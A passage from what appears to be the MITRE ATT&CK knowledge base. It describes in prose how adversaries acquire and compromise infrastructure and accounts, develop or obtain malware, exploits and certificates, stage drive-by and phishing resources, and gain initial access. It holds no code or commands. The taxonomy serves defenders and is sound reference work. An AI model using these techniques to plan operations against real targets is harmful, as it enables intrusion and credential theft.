Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.

.003 - Virtual Private Server

Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.

.004 – Server

Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations.

Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.

.005 – Botnet

Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).

.006 - Web Services

Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service) or Exfiltration Over Web Service. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.

.007 – Serverless
Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.

T1586 - Compromise Accounts
Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.

.001 - Social Media Accounts
Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).

.002 - Email Accounts

Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains).

A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Adversaries can use a compromised email account to hijack existing email threads with targets of interest.

.003 - Cloud Accounts

Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.

A variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens. Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.

T1584 - Compromise Infrastructure

Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns.

By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.

.001 – Domains

Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.

Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.

.002 - DNS Server

Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.

.003 - Virtual Private Server

Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.

Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.

.004 – Server

Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations.

Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise.

.005 – Botnet

Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).

.006 - Web Services

Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service) or Exfiltration Over Web Service. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.

.007 – Serverless

Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.

T1587 - Develop Capabilities

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

.001 – Malware

Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.

.002 - Code Signing Certificates
Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.

.003 - Digital Certificates
Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate).

After creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.

.004 – Exploits
Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits. Adversaries may use information acquired via Vulnerabilities to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.

As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).

T1585 - Establish Accounts
Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate

affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.

Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing.

.001 - Social Media Accounts

Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.

For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.

Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).

.002 - Email Accounts

Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains).

To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.

.003 - Cloud Accounts

Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.

Creating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.

T1588 - Obtain Capabilities

Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.

.001 – Malware

Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).

.002 – Tool

Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.

Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).

.003 - Code Signing Certificates

Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.

.004 - Digital Certificates

Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.

After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.

.005 – Exploits

Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.

In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).

An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).

.006 – Vulnerabilities

Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.

An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. Exploits) or to attempt to develop one themselves (i.e. Exploits).

T1608 - Stage Capabilities

Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site.
- Staging web resources for a link target to be used with spearphishing.
- Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer.
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).

.001 - Upload Malware

Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.

Malware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin.

Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading may increase the chance of users mistakenly executing these files.

.002 - Upload Tool
Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.

Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.

Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.

.003 - Install Digital Certificate
Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.

Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.

Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).

.004 - Drive-by Target
Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).

Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.

Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.

.005 - Link Target

Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.

Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Link shortening services can also be employed. Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.

.006 - SEO Poisoning

Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.

To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).

Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.

SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.

Initial Access

The adversary is trying to get into your network.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1189 - Drive-by Compromise

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token.

Multiple ways of delivering exploit code to a browser exist, including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
   *The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
   *In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to Steal Application Access Tokens, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.

T1190 - Exploit Public-Facing Application

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services. Depending on the flaw being exploited this may include Exploitation for Defense Evasion.

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.

T1133 - External Remote Services

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.

Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.

T1200 - Hardware Additions

Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.

T1566 – Phishing

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

